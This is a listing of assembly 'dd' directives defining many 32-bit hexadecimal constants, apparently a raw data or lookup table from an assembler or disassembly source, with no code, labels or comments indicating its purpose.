dd 1030114h, 4020E0Ah, 0E08090Ch, 0C0A060Fh, 242E2A04h
dd 13172527h, 16161219h, 1B1F1D13h, 17141A11h, 0B1D19h
dd 20E000Ah, 0E090C04h, 0A060909h, 2D2C040Ch, 12282429h
dd 1113131Ah, 1A101C10h, 1F1B1B12h, 218141Dh, 405030Ah
dd 0A000C04h, 90F0B02h, 2908040Dh, 2D2E2E27h, 1810161Ah
dd 14161715h, 10181E12h, 1F1F1E1Dh, 800060Ah, 30F0405h
dd 80E02h, 0C070C0Dh, 252F2B21h, 1B13142Eh, 1D171319h
dd 13111116h, 151F1B11h, 105091Eh, 0D070309h, 0C080Eh
dd 7060E0Ch, 2A26220Fh, 1416242Ch, 17131910h, 181E1E1Dh
dd 161E1C10h, 0B091C19h, 40F0105h, 30C0304h, 0F07090Dh
dd 2B210A0Dh, 112E252Fh, 16141815h, 1813171Eh, 17191D13h
dd 5171C1Ch, 0F01050Bh, 0E060404h, 7090D03h, 2A07060Ch
dd 242C2A26h, 19121316h, 161D1713h
dd 111E181Ch, 1B151F1Bh, 4080403h, 70E06h, 0C000E01h, 0D0F060Eh
dd 29272523h, 17121B2Dh, 14121E1Ah, 1A1C1B1Ch, 151F1B11h
dd 8070517h, 0F0E0604h, 0D030C06h, 0E0F0709h, 2A26220Eh
dd 1114242Ch, 17131917h, 1D18161Dh, 1F1B111Fh, 9061E15h
dd 7030900h, 0D0C0F0Dh, 60E0C00h, 2E2C050Ah, 10292F26h
dd 16141817h, 1A14121Eh, 17191D13h, 0A161B1Ah, 5080006h
dd 2030504h, 0D00080Eh, 210D0B05h, 2E252F2Bh, 14181618h
dd 1F171E16h, 1C10111Dh, 1E17161Eh, 1050B05h, 40E010Fh
dd 80E02h, 5060A0Fh, 26262E2Ch, 151B1029h, 14121F11h, 181E1214h
dd 191C1D10h, 60A17h, 0C040508h, 0B020A00h, 40E0C0Ch, 2C272908h
dd 1B13272Dh, 141F1115h, 1E121613h, 1B1D1018h, 60A1E1Bh
dd 70800h, 0B0F0D02h, 70E0201h, 2D200D09h, 1A2C2A2Ah, 15181016h
dd 1215121Ch, 1D10181Eh, 0A1F1F15h, 5080006h, 2050406h
dd 0E00080Eh, 21070F0Dh, 2B252F2Bh, 11151B13h, 1314141Fh
dd 191D131Eh, 181A1A17h, 800060Ah, 3050705h, 80E02h, 5080A0Bh
dd 2B262E2Ch, 151B142Dh, 14131F11h, 181E1212h, 1A1C1910h
dd 9030715h, 0F060702h, 10B0F0Dh, 408050Eh, 2C272908h
dd 1B132E2Fh, 141F1115h, 13181117h, 1F17191Dh, 0B061F1Eh
dd 40F0105h, 30E0E05h, 0C07090Dh, 2B21070Fh, 132E252Fh
dd 13191217h, 11161D17h, 1B111E1Ch, 219151Fh, 6040800h
dd 6070Eh, 0E0C000Ch, 2E060F06h, 2D29272Fh, 1714101Bh
dd 15111F10h, 1E121C13h, 141C1A16h, 9030006h, 50D0703h
dd 0C00080Ah, 0F0F060Eh, 29272F23h, 16121B2Dh, 14121E1Bh
dd 101E1A1Ch, 1B161E1Ch, 50B0417h, 3070F01h, 80E0207h
dd 0C0C0800h, 262E2C05h, 1B14282Bh, 141F1115h, 13111110h
dd 1F17191Dh, 0B061D1Eh, 0F0104h, 0E02070Fh, 0C080008h
dd 2E2C050Bh, 132A2F26h, 16141815h, 1D17171Eh, 1E1C101Bh
dd 11F1916h, 0F01050Bh, 0A060607h, 7090D03h, 2108080Ch
dd 26252F2Bh, 14181111h, 1F131E16h, 191D1319h, 19181C17h
dd 1050B03h, 0F00010Fh, 80E02h, 8040B09h, 2A2C2729h, 151B182Fh
dd 1F141F11h, 1D131F16h, 171C1719h, 60A1Bh, 0F030508h
dd 80E0204h, 80C0D00h, 2F2B210Ch, 14132E25h, 17131912h
dd 1319151Dh, 1F17191Dh, 60A1D1Eh, 0D050800h, 0E020306h
dd 0E0E0008h, 2E2C0509h, 122D2F26h, 16141813h, 181E171Eh
dd 1E1C1010h, 11C1716h, 0F01050Bh, 0F0D0404h, 0C0C010Bh
dd 2908040Ah, 2B282C27h, 11151B17h, 1F14141Fh, 191D131Ah
dd 171A1C17h, 1050B09h, 105070Fh, 80E02h, 80C0B0Dh, 252F2B21h
dd 18101727h, 101E1614h, 1D131817h, 1C1C1719h, 50B081Ah
dd 1070F01h, 80E0204h, 60E0E00h, 262E2C05h, 1916272Fh
dd 1E161418h, 1A1E1417h, 161E1C10h, 0B041C1Ah, 70F0105h
dd 3090506h, 807090Dh, 2B210C0Ah, 122E252Fh, 13191A15h
dd 1C151D17h, 17191D13h, 0A17181Fh, 5080006h, 2060E04h
dd 0A00080Eh, 2C050B0Bh, 2C2F262Eh, 14181815h, 1F171E16h
dd 1C101C11h, 191F161Eh, 4080004h, 4000E06h, 90D0301h
dd 0E0E0C07h, 2C2A262Ah, 15181724h, 1D171319h, 101A1810h
dd 1A161E1Ch, 50B0817h, 40F01h, 0D030B07h, 0B040709h, 2F2B2106h
dd 18122E25h, 17131914h, 1811151Dh, 161E1C10h, 0B031718h
dd 0C0F0105h, 0E02040Fh, 90D0008h, 2B210D06h, 1429252Fh
dd 16141813h, 181F171Eh, 1E1C1018h, 9161F16h, 6040807h
dd 0A03070Eh, 0E0C0008h, 2A0F0C06h, 2D292728h, 1115101Bh
dd 15111F1Ch, 191E1C13h, 141C1A16h, 0A040601h, 0C04020Eh
dd 1020F09h, 0A050F0Bh, 2927292Bh, 1A171B2Dh, 14121E17h
dd 1F19191Ch, 151F1B11h, 0A01031Eh, 0D070309h, 80A03h
dd 0F060E0Ch, 272C2B0Ah, 101B2D29h, 1F161515h, 18131511h
dd 1A161E1Eh, 801141Ch, 20E0505h, 90C04h, 0A060908h, 2E2A040Ch
dd 1725272Bh, 1D141913h, 1315111Fh, 1C121218h, 0B1D1917h
dd 40A0000h, 305010Fh, 60E0B0Fh, 2A040C0Ah, 252B2429h
dd 12191317h, 1D111415h, 1A111B1Fh, 1518191Bh, 2090307h
dd 0D010C0Dh, 0C010B0Fh, 804090Eh, 2E2C2729h, 151B1227h
dd 14111F11h, 181E1217h, 1F181D10h, 60A19h, 6060D08h, 10B0F0Dh
dd 0F09080Ah, 262E2C05h, 1B192627h, 141F1115h, 131E131Eh
dd 1C17191Dh, 0B091F18h, 10F0105h, 0E020100h, 0F0E0008h
dd 2E2C0507h, 182E2A26h, 1F11151Bh, 1A171014h, 17191D13h
dd 0A1D1919h, 5080006h, 0F0D000Ch, 50A010Bh, 2C05070Fh
dd 2A2F262Eh, 1810161Ah, 1D1E1617h, 1E111B1Fh, 1814141Fh
dd 5040A02h, 0C04020Eh, 10F0C00h, 0E050F0Bh, 2927282Bh
dd 1A161B2Dh, 14121E14h, 1911111Ch, 151F1B11h, 0B07091Eh
dd 0D070309h, 0D0E0F06h, 50F0B01h, 2725230Eh, 101B2D29h
dd 1F101417h, 18131511h, 17181B1Fh, 0B1D19h, 20E030Ah
dd 0A0B0C04h, 60E0C00h, 2B22070Fh, 1B2D2927h, 1E111412h
dd 191C1412h, 161F1A1Eh, 1141C1Ah, 6040805h, 0F060E0Eh
dd 7090D03h, 210A0C0Eh, 2E252F2Bh, 19171011h, 161D1713h
dd 1C101A19h, 181F161Eh, 4080901h, 1070E06h, 0C000D0Dh
dd 0F08060Eh, 2C2A262Ah, 10141124h, 14121E17h, 1311191Ch
dd 1C1A1619h, 2010714h, 0D070309h, 0B0B0Fh, 0F060E0Ch
dd 272B2C06h, 151B2D29h, 121E1610h, 1C191C14h, 1A161A12h
dd 901141Ch, 20E0402h, 0E000C04h, 0F0B0103h, 2A290E05h
dd 1228242Fh, 1010171Ah, 1315111Fh, 1D1F1218h, 0B1D1917h
dd 0E020A06h, 0D0C0402h, 0E0C0001h, 280E0806h, 242C2A26h
dd 19111719h, 161D1713h, 111D1F1Fh, 1E151F1Bh, 9040500h
dd 60D0703h, 1030109h, 9050F0Bh, 2927282Eh, 1A101B2Dh
dd 111F1215h, 12181315h, 19171419h, 5000B1Dh, 4020E02h
dd 0D0E090Ch, 0C0A060Fh, 2C2C2A04h, 13172526h, 16121219h
dd 1B1F1D1Fh, 1B191911h, 0A021814h, 0D050203h, 20A000Ch
dd 7040B0Eh, 2A200D09h, 1725272Dh, 1C121913h, 1F1D1310h
dd 1C18111Bh, 218141Eh, 0C070A0Ah, 305010Fh, 0C0E0F08h
dd 200D0907h, 252C2F24h, 12191317h, 1D141513h, 19111B1Fh
dd 1D19171Eh, 103000Bh, 0C04020Eh, 1080A0Eh, 9050F0Bh
dd 29272A2Ch, 12101B2Dh, 111F1614h, 1E181315h, 1C1A1612h
dd 7020114h, 4020E0Bh, 0F0F0D0Ch, 50F0B01h, 2729220Bh
dd 101B2D29h, 1F10171Ah, 1C131511h, 1A161319h, 301141Ch
dd 20E0105h, 9090C04h, 0A06090Bh, 2D2A040Ch, 1725282Ah
dd 12141913h, 1A101C13h, 1B191D12h, 0B1D1917h, 0C000400h
dd 305010Fh, 0C020D08h, 200D0907h, 252A2925h, 1A191317h
dd 101C111Ch, 1219121Ah, 1D191714h, 203000Bh, 5010F02h
dd 0E030103h, 40C0A06h, 242A282Dh, 151A1228h, 111F1D11h
dd 13181315h, 1917141Ch, 0B020B1Dh, 4020E06h, 308090Ch
dd 0C0A0609h, 2D2B2D04h, 1A122824h, 10101113h, 121A101Ch
dd 171F1919h, 90B1D19h, 20E0B03h, 0C0D0C04h, 0F0B010Ah
dd 2E280605h, 1B2D2927h, 11111610h, 1315111Fh, 161E1A1Eh
dd 7141C1Ah, 3090502h
dd 9060D07h, 0B010F0Eh, 2E06050Fh, 2D292729h, 1716121Bh
dd 1C14121Eh, 111E1C1Ch, 1E151F1Bh, 9060208h, 60D0703h
dd 10A0E0Bh, 0E050F0Bh, 242E2F2Bh, 131A1228h, 1C151614h
dd 19121A10h, 19171D1Bh, 1000B1Dh, 10F0300h, 0F0E0305h
dd 0C0A0609h, 292C2A04h, 1317252Ah, 12151A19h, 121A101Ch
dd 171C1819h, 40B1D19h, 20E0B04h, 90C04h, 0A060E0Fh, 252A040Ch
dd 1725292Dh, 15121913h, 1F1D1210h, 1D1A111Bh, 7151A1Ah
dd 6020903h, 0F0D050Dh, 50E010Bh, 200D0907h, 2D2A292Dh
dd 1810161Ah, 101F1415h, 10181E12h, 151D1E1Bh, 0A090307h
dd 0C0107h, 30E020Ah, 0D09070Ch, 2E2E2D20h, 10161A26h
dd 16101218h, 111B1F1Dh, 1F15151Ah, 9030715h, 2020D02h
dd 10B0F0Dh, 0E090D0Ah, 262E2C05h, 1B102627h, 131F1115h
dd 1E121710h, 151D1018h, 60A1C1Ah, 7050800h, 0E020E01h
dd 4040008h, 2E2C050Fh, 152B2F26h, 16141813h, 1A17171Eh
dd 1E1C1010h, 9171D16h, 0F01050Bh, 204050Dh, 0D00080Eh
dd 2108080Bh, 2E252F2Bh, 191A1310h, 161D1713h, 1C101D1Bh
dd 1B19161Eh, 1050B00h, 20F040Fh, 80E02h, 909090Dh, 252F2B21h
dd 1419182Eh, 1D171319h, 101B1114h, 1F161E1Ch, 809031Bh
dd 30E0604h, 0D030E02h, 6040709h, 2F2B210Ah, 12192E25h
dd 17131917h, 1A1D121Dh, 161E1C10h, 8061B1Fh, 0E060408h
dd 30B0504h, 0C07090Dh, 26220F0Bh, 11242C2Ah, 1E101014h
dd 191C1412h, 161A121Fh, 6141C1Ah, 6040804h, 0E0E070Eh
dd 0E0C000Bh, 23080F06h, 2D292725h, 1017101Bh, 15111F1Ch
dd 19131813h, 1D19171Bh, 20B050Bh, 0C04020Eh, 0D0A0909h
dd 40C0A06h, 2B2A282Ah, 19131725h, 11161C12h, 111B1F1Dh
dd 14181A1Fh, 30A0218h, 0C020401h, 0B020A00h, 4090E02h
dd 25272908h, 161A2E2Dh, 14151810h, 1E121414h, 1B1D1018h
dd 60A161Ah, 2060800h, 0B0F0D01h, 0B0A0801h, 27290804h
dd 1A292A24h, 16181016h, 1F1D1E10h, 151A111Bh, 7151B14h
dd 2020903h, 0F0D020Ch, 0C0A010Bh, 2C05060Dh, 262F262Eh
dd 14181819h, 1F101E16h, 191D1310h, 1C1D1C17h, 800060Ah
dd 0D0E0D06h, 0D010B0Fh, 804090Eh, 2E2C2729h, 19131725h
dd 15121C12h, 111B1F1Dh, 19171D1Ch, 90B1Dh, 4020E07h, 0C090F0Ch
dd 50F0B01h, 252B2F0Eh, 1A122824h, 1F111210h, 1D131511h
dd 1A161F1Eh, 608141Ch, 0E060408h, 1000407h, 60E0C00h
dd 2A2D0E0Fh, 1B2D2927h, 1E121110h, 1B1C1412h, 1B111B1Fh
dd 21D151Fh, 6040803h, 0F00070Eh, 0E0C0009h, 2E0F0F06h
dd 2D292725h, 171A121Bh, 1C14121Eh, 13121019h, 141C1A16h
dd 90B0405h, 0F0D0703h, 0C000E0Bh, 0C0F060Eh, 29272E2Bh
dd 17101B2Dh, 111F101Ah, 121A1315h, 1C1A1618h, 3070714h
dd 0D070309h, 2000F06h, 50F0B01h, 27252209h, 161B2D29h
dd 121E1B11h, 19191C14h, 1A16121Ch, 305141Ch, 7030907h
dd 0E00060Dh, 0F0B010Ah, 2D2E0E05h, 12282424h, 1013131Ah
dd 1A101C16h, 15191B12h, 0B1D1917h, 0E010A08h, 0C0402h
dd 0B010C00h, 280A050Fh, 2D29272Bh, 1B14171Bh, 1C14121Eh
dd 1113101Ah, 1C151F1Bh, 4080704h, 70E06h, 0C000E08h, 0B0F060Eh
dd 2927292Dh, 12131B2Dh, 14121E17h, 1B1C1D1Ch, 151F1B11h
dd 808041Bh, 20E0604h, 0D030801h, 0A0C0709h, 2A262C0Fh
dd 1611242Ch, 121E1210h, 1C191C14h, 1F1B111Eh, 4091E15h
dd 703090Ah, 90E060Dh, 0F0B010Fh, 2E290E05h, 12282425h
dd 1111131Ah, 1A101C16h, 19131B12h, 218141Eh, 60A060Ah
dd 305010Fh, 8020808h, 200D0907h, 2824242Dh, 14131A12h
dd 101C1013h, 1B1B121Ah, 18141D19h, 1030A02h, 0C0402h
dd 308020Ah, 0D09070Ah, 2F2C2D20h, 10161A2Bh, 16101518h
dd 181E1216h, 1D1C1D10h, 60A17h, 0E070D08h, 10B0F0Dh, 4050F0Ah
dd 2B272908h, 161A2F2Fh, 13151810h, 1E121211h, 1A181018h
dd 307151Ah, 10D0209h, 0B0F0D00h, 0B0A0A01h, 27290804h
dd 1A282F2Bh, 1C181016h, 1F1D1510h, 1F1D111Bh, 218141Ch
dd 706060Ah, 305010Fh, 0B020908h, 200D0907h, 2826252Dh
dd 1810161Ah, 1D16101Dh, 1A111B1Fh, 1814141Fh, 5030A02h
dd 0C0705h, 302020Ah, 0D09070Ch, 2A282520h, 19131725h
dd 17121712h, 111B1F1Dh, 1D1B1B1Ah, 9030715h, 0C00000Ah
dd 0F020A00h, 9070C09h, 242D200Dh, 161A2928h, 15101810h
dd 1B1F1D15h, 1D151311h, 0A021814h, 0F020205h, 0A030501h
dd 0A060E0Ah, 2C2A040Ch, 17252F2Eh, 1D111913h, 1A101C16h
dd 14131B12h, 2181419h, 204030Ah, 0A000C04h, 0B0B0B02h
dd 29080405h, 2C282A27h, 1810161Ah, 11151115h, 10181E12h
dd 15181A18h, 2090307h, 0D010205h, 0A010B0Fh, 50B050Fh
dd 2F262E2Ch, 1814152Ah, 111E1614h, 1D131913h, 181C1719h
dd 50B0418h, 3030F01h, 80E0204h, 0B0C0D00h, 2F2B210Ah
dd 15162A25h, 1E161418h, 131E1F12h, 1917191Dh, 60A1617h
dd 4050800h, 0E020501h, 40F0008h, 2E2C050Eh, 102B2A26h
dd 1F11151Bh, 12111F12h, 1D10181Eh, 0A1E1F1Fh, 0C080006h
dd 0F0D0E02h, 0C0A010Bh, 2C05070Dh, 2C29262Eh, 1810161Ah
dd 1E101415h, 10181E12h, 15191B15h, 0B090307h, 0C04020Eh
dd 0A030809h, 40C0A06h, 292B2E2Ah, 19131725h, 1C1D1C1Bh
dd 1E121A10h, 1C1A161Ch, 2020214h, 0D070309h, 0B0B06h
dd 0F060E0Ch, 272C2209h, 101B2D29h, 1F161010h, 11131511h
dd 1A161B1Eh, 1141Ch, 20E0207h, 8090C04h, 0A060208h, 2F2A040Ch
dd 17252D29h, 1D151913h, 1A101C16h, 1F121B12h, 2181419h
dd 0E05000Ah, 0D0C0402h, 0B010A09h, 2C0B050Fh, 2D292724h
dd 1515101Bh, 15111F1Ch, 121E1113h, 141C1A16h, 4060901h
dd 0C04020Eh, 10B0D0Eh, 0E050F0Bh, 242F2C23h, 131A1228h
dd 1C141714h, 1B121A10h, 141E181Ah, 50A0218h, 10F0106h
dd 3080305h, 9070D0Eh, 282D200Dh, 161A262Bh, 17151810h
dd 1E121216h, 1F1F1018h, 307151Ah, 30D0109h, 20A000Ch
dd 0D0A0D0Bh, 27290804h, 14292C2Ch, 1F11151Bh, 1B1F1014h
dd 17191D13h, 11A1D1Ch, 0F01050Bh, 205020Ch, 0D00080Eh
dd 210A0908h, 2E252F2Bh, 191B1515h, 1F1D1713h, 191D1310h
dd 15161B17h, 2090307h, 0D0E0D06h, 0A010B0Fh, 50A090Fh
dd 2C262E2Ch, 151B172Eh, 11141F11h, 1D131A12h, 1A1C1719h
dd 60A18h, 0F040208h, 10B0F0Dh, 40F0A0Ah, 2C272908h, 1B122826h
dd 141F1115h, 13111510h, 1917191Dh, 60A1E1Ah, 0C050800h
dd 0E020506h, 50D0008h, 2B210B09h, 1426252Fh, 16141818h
dd 1C1E1F1Eh, 17191D13h, 0A171C1Bh, 5080006h, 2000503h
dd 0D00080Eh, 210A0D0Bh, 2E252F2Bh, 14181714h, 1E171E16h
dd 1C101C1Eh, 1F18161Eh, 1050B03h, 0F040Fh, 90D030Ah, 50A0507h
dd 2F262E2Ch, 1812122Ch, 171E1614h, 101C1E17h, 1F161E1Ch
dd 805081Bh, 70E0604h, 0C0800h, 0F060E0Ch, 272F2C06h, 181B2D29h
dd 121E161Bh, 1B191C14h, 1A161D18h, 101141Ch, 20E060Bh
dd 0D090C04h, 0A06090Ah, 242A040Ch
dd 1725282Ah, 17121913h, 1F1D1711h, 181C111Bh, 218141Eh
dd 106000Ah, 305010Fh, 0B020808h, 200D0907h, 2F2D292Dh
dd 1810161Ah, 1E171115h, 10181E12h, 1D171B1Dh, 800060Ah
dd 0D020205h, 0A010B0Fh, 507090Dh, 2F262E2Ch, 18171229h
dd 171E1614h, 101C1A15h, 1F161E1Ch, 800051Fh, 70E0604h
dd 80C07h, 0F060E0Ch, 2A262C0Dh, 1311242Ch, 17131917h
dd 1B1A101Dh, 161E1C10h, 0B051E19h, 40F0105h, 3000E07h
dd 0C07090Dh, 2623090Eh, 18242C2Ah, 13191614h, 1B161D17h
dd 1B111D19h, 91A151Fh, 6040809h, 0F07070Eh, 7090D03h
dd 21080C08h, 2D252F2Bh, 14181817h, 1F101E16h, 191D131Eh
dd 1B1A1C17h, 1050B04h, 0E07040Fh, 90D0308h, 0C060C07h
dd 2C2A2623h, 16191124h, 1D171319h, 181E1D16h, 151F1B11h
dd 502091Eh, 0D070309h, 0D030000h, 60C0709h, 2A262D0Eh
dd 1717242Ch, 17131917h, 1A11161Dh, 1F1B1118h, 5001B15h
dd 0E060408h, 0E020105h, 0D0D0008h, 2B210E06h, 172E252Fh
dd 13191018h, 11161D17h, 1B11121Fh, 116151Fh, 6040807h
dd 0D02070Eh, 0E0C0001h, 2A0E0A06h, 242C2A26h, 11161011h
dd 1C14121Eh, 1113111Eh, 1E151F1Bh, 9070906h, 0F0D0703h
dd 0C000C0Ch, 0F0F060Eh, 2927252Ch, 12131B2Dh, 111F1512h
dd 1C181315h, 19171B1Ch, 3070B1Dh, 4020E07h, 309090Ch
dd 0C0A060Fh, 2C252C04h, 1A122824h, 1F1C1214h, 18131511h
dd 171C1E12h, 0B1D19h, 0F0D030Ah, 0A030501h, 0A06020Eh
dd 2C2A040Ch, 1228242Dh, 1616161Ah, 1315111Fh, 1B111E1Eh
dd 719151Fh, 6040800h, 0A04070Eh, 0E0C0000h, 2C050806h
dd 2F29262Eh, 11151B18h, 1F1E161Fh, 10181E12h, 161D1A1Dh
dd 800060Ah, 0D000D0Ch, 0F010B0Fh, 8040C04h, 292E2729h
dd 10161A2Ah, 151D1518h, 181E1215h, 1E181D10h, 60A1Ch
dd 6020D08h, 10B0F0Dh, 0A08040Ah, 262E2C05h, 16172C2Fh
dd 1E161418h, 13101210h, 1517191Dh, 60A1A1Dh, 5010800h
dd 20A000Ch, 0F0B0F0Bh, 27290804h, 1A262628h, 12181016h
dd 1A101C11h, 161E1212h, 1141C1Ah, 0E010104h, 10C0402h
dd 0B01030Bh, 230D050Fh, 2D292728h, 121B101Bh, 15111F11h
dd 1A181813h, 1D191714h, 200040Bh, 0C04020Eh, 10C0B0Ch
dd 7050F0Bh, 2927292Ah, 17101B2Dh, 111F141Bh, 1D181315h
dd 1917151Bh, 60B1Dh, 4020E02h, 20C090Ch, 50F0B01h, 2A262A0Bh
dd 1111242Ch, 121E171Ah, 1A191C14h, 1A16181Ah, 601141Ch
dd 20E0504h, 0A090C04h, 0A060D0Fh, 2F2A040Ch, 17252B29h
dd 11121913h, 1F1D1417h, 181A111Bh, 7151718h, 5020903h
dd 0F0D0307h, 0D0A010Bh, 2C050C05h, 2A2F262Eh, 14181713h
dd 1E121E16h, 191D1318h, 181F1917h, 800060Ah, 0D050107h
dd 2010B0Fh, 8040B0Ah, 292C2729h, 151B1228h, 1F141F11h
dd 1D131C11h, 1E1F1719h, 50B001Fh, 0F040F01h, 0D030E02h
dd 0A0F0709h, 2F2B2108h, 12132E25h, 17131913h, 1A1D151Dh
dd 161E1C10h, 0B021D1Bh, 40F0105h, 0E020107h, 50D0008h
dd 2B210607h, 162E252Fh, 13191012h, 1A161D17h, 1B11191Dh
dd 818151Fh, 6040807h, 5070Eh, 0E0C000Eh, 2A0C0906h, 242C2A26h
dd 12101811h, 1C14121Eh, 131F1F19h, 141C1A16h, 9050909h
dd 60D0703h, 10A0900h, 0A050F0Bh, 29272E23h, 1A101B2Dh
dd 111F161Bh, 1C1D1315h, 1C1A161Fh, 4050114h, 4020E01h
dd 0E01090Ch, 0C0A060Bh, 2C2B2A04h, 13172527h, 16111219h
dd 1B1F1D15h, 1B151D11h, 0A021814h, 20E0004h, 0B0C0C04h
dd 0F0B0109h, 2F290E05h, 1228242Ch, 171A131Ah, 1A101C14h
dd 1D1E1312h, 0B1D1917h, 2000400h, 305010Fh, 9020E08h
dd 200D0907h, 25292C2Bh, 12191317h, 1D17171Ch, 1A111B1Fh
dd 18141F15h, 3030A02h, 0C0201h, 0B0B020Ah, 8040A0Ah, 272A2729h
dd 10161A2Bh, 1C151218h, 1E121A10h, 1917151Bh, 1050B1Dh
dd 4020E00h, 0A090A0Ch, 0C0A060Eh, 29242A04h, 13172526h
dd 16171219h, 1B1F1D16h, 18181911h, 0A021814h, 2020003h
dd 20A000Ch, 0F04080Bh, 27290804h, 1827262Ch, 1F11151Bh
dd 18141714h, 17191D13h, 51E1D1Ch, 0F01050Bh, 8000F04h
dd 7090D03h, 210D0F0Fh, 29252F2Bh, 14181618h, 17141E16h
dd 1C101A19h, 1D1F161Eh, 4080004h, 0F050E06h, 90D0309h
dd 8090C07h, 2C2A2628h, 15171124h, 14121E15h, 181B1E1Ch
dd 151F1B11h, 803061Dh, 0F0E0604h, 0D030C00h, 0B0C0709h
dd 2A262F07h, 1019242Ch, 1713191Bh, 1D1C161Dh, 1F1B1113h
dd 4001E15h, 7030901h, 0B08010Dh, 60E0C00h, 2B220F0Fh
dd 1B2D2927h, 17151610h, 1315111Fh, 1B11121Bh, 41E151Fh
dd 3090509h, 0F0E0D07h, 0E0C000Ch, 2D080F06h, 2D29272Ch
dd 1311151Bh, 1C14121Eh, 1B1A1A19h, 141C1A16h, 90A0003h
dd 10D0703h, 0C00010Fh, 0E0C060Eh, 2C2A262Ah, 13161524h
dd 1D171319h, 1C1B1C16h, 151F1B11h, 805011Ch, 40E0604h
dd 0D03000Eh, 40C0709h, 2C272908h, 1B142D2Dh, 141F1115h
dd 13101415h, 1C17191Dh, 0B05191Bh, 20F0105h, 0E020E0Fh
dd 0C0D0008h, 2B210C0Eh, 192E252Fh, 13191610h, 1D101D17h
dd 1E1C1011h, 8191F16h, 6040807h, 0B07030Eh, 7090D03h
dd 210C0D0Fh, 2E252F2Bh, 19141218h, 161D1713h, 111B181Fh
dd 1B151F1Bh, 4080605h, 0E070E06h, 0C00010Bh, 0C0F060Eh
dd 29272A2Ah, 14131B2Dh, 14121E15h, 1E1E191Ch, 1C1A161Fh
dd 30414h, 0D070309h, 0C0005h, 0A060E0Ch, 2A262E07h, 1511242Ch
dd 121E1517h, 1C191C14h, 1A161313h, 207141Ch, 7030904h
dd 90B010Dh, 60E0C00h, 2C2E080Fh, 1B2D2927h, 1D141610h
dd 1315111Fh, 161D1E1Dh, 9141C1Ah, 6040801h, 0F01070Eh
dd 0E0C0001h, 2C0C0F06h, 2D29272Fh, 1A1A161Bh, 1C14121Eh
dd 1D1D1E19h, 141C1A16h, 4010001h, 0C04020Eh, 30D0B09h
dd 40C0A06h, 2A2C2A2Ah, 19131725h, 1E171512h, 111B1F1Dh
dd 141D1D1Ah, 30A0218h, 10F0404h, 0E080305h, 0C0A060Fh
dd 292A2A04h, 1317252Dh, 131C1219h, 1B1F1D17h, 1F1A1311h
dd 0A021814h, 0F0C030Ah, 0A030501h, 0A060D03h, 252F040Ch
dd 1228242Eh, 1311131Ah, 1A101C15h, 18181C12h, 0B1D1917h
dd 3090006h, 8000D07h, 0E0C0000h, 230E0F06h, 2D29272Fh
dd 1B13101Bh, 15111F13h, 121D1813h, 141C1A16h, 3040101h
dd 0C04020Eh, 0E0C0B09h, 40C0A06h, 242E2429h, 131A1228h
dd 1C141516h, 1B121A10h, 19171E13h, 0B030B1Dh, 4020E06h
dd 0D0D0C0Ch, 50F0B01h, 2C2D2A0Eh, 1A122824h, 1C111A13h
dd 121A101Ch, 1718191Bh, 30B1D19h, 20E0706h, 0C090C04h
dd 0A060208h, 242F040Ch, 12282424h, 121A1B1Ah, 1315111Fh
dd 1B111E10h, 917151Fh, 6040806h, 1040F0Eh, 7090D03h, 2B0E090Ch
dd 242C2A26h, 19121411h, 151D1713h, 111E1918h, 18151F1Bh
dd 4080505h, 5040E06h, 90D030Fh, 50F0407h, 27262E2Ch, 151B1827h
dd 16141F11h, 1D131A15h, 1A1C1719h, 50B041Dh, 0F030F01h
dd 10B0F0Dh, 404080Ch, 2C272908h, 161A2F2Dh, 10151810h
dd 1E121711h
dd 181A1018h, 307151Fh, 2060009h, 20A000Ch, 80A030Bh, 27290804h
dd 10272C2Ch, 1F11151Bh, 12101E11h, 1D10181Eh, 0A1E1719h
dd 5080006h, 0F0D0704h, 0B0A010Bh, 2C050C0Fh, 2C2F262Eh
dd 14181714h, 10171E16h, 1C101D10h, 1D1F161Eh, 4080209h
dd 4070E06h, 0C00000Ch, 0B0F060Eh, 29272429h, 16121B2Dh
dd 14121E14h, 181F191Ch, 1C1A161Bh, 8000314h, 70E0604h
dd 90A03h, 0F060E0Ch, 272F2B06h, 181B2D29h, 121E1216h
dd 191E1C14h, 1F1B111Dh, 31E15h, 7030906h, 0A0B060Dh, 0F0B010Eh
dd 242A0D05h, 1B2D2927h, 1D171B10h, 1315111Fh, 1A121218h
dd 0B1D1917h, 0E060705h, 90C0402h, 60C0E0Dh, 28040C0Ah
dd 28242B2Fh, 14131A12h, 101C1215h, 1B1B121Ah, 18141B14h
dd 6000A02h, 5010F00h, 0D0B0803h, 0D090704h, 2E2C2D20h
dd 10161A2Ah, 17151518h, 181E1211h, 1B1F1D10h, 60A16h
dd 30208h, 10B0F0Dh, 40F0B02h, 29272908h, 161A2C2Fh, 1D151810h
dd 1E121F1Fh, 1C141018h, 307151Ah, 0C000209h, 0B0F0D0Fh
dd 0D090A01h, 2E2C050Bh, 10282D26h, 1F11151Bh, 12161E14h
dd 1D10181Eh, 0A1C1B1Ch, 6080006h, 305010Fh, 60C090Ah
dd 2A040C0Ah, 25262C29h, 17191317h, 101C1C16h, 191B121Ah
dd 1814141Ch, 7030A02h, 0C0C04h, 20B020Ah, 804050Eh, 292C2729h
dd 151B172Ah, 17141F11h, 1D131A11h, 171C1719h, 50B0918h
dd 30F01h, 80E020Eh, 0C0F0D00h, 262E2C05h, 1B132B2Ch, 141F1115h
dd 131E1317h, 1517191Dh, 60A1F1Eh, 5000800h, 0B0F0D06h
dd 50B0201h, 27290804h, 18262A2Ch, 1F11151Bh, 12121514h
dd 1E10181Eh, 7151E1Ch, 0C020903h, 0F0D0F01h, 0B0A010Bh
dd 2C050A0Eh, 292F262Eh, 14181215h, 1F141E16h, 191D131Fh
dd 17191C17h, 1050B01h, 0D04030Fh, 0A010B0Fh, 50A0D0Dh
dd 2D262E2Ch, 151B172Fh, 1E141F11h, 1D131B16h, 1C1C1719h
dd 50B091Bh, 0E040F01h, 0D030E07h, 0A0A0709h, 2F2B210Bh
dd 12172925h, 1E161418h, 1E1F1217h, 161E1C10h, 500191Fh
dd 0E060408h, 30A0100h, 0C07090Dh, 26290707h, 18242C2Ah
dd 13191010h, 1F131D17h, 1E1C101Eh, 61D1B16h, 0F01050Bh
dd 2010703h, 0D00080Eh, 210C090Fh, 2E252F2Bh, 19121714h
dd 1F1D1713h, 1C101A1Ch, 1A1F161Eh, 4080408h, 0E000E06h
dd 90D030Fh, 6060F07h, 252F2B21h, 1810192Ah, 1F1E1614h
dd 1D131016h, 161C1719h, 50B0718h, 4020F01h, 80E020Fh
dd 0E090900h, 262E2C05h, 13142D2Fh, 1E161418h, 13181F1Fh
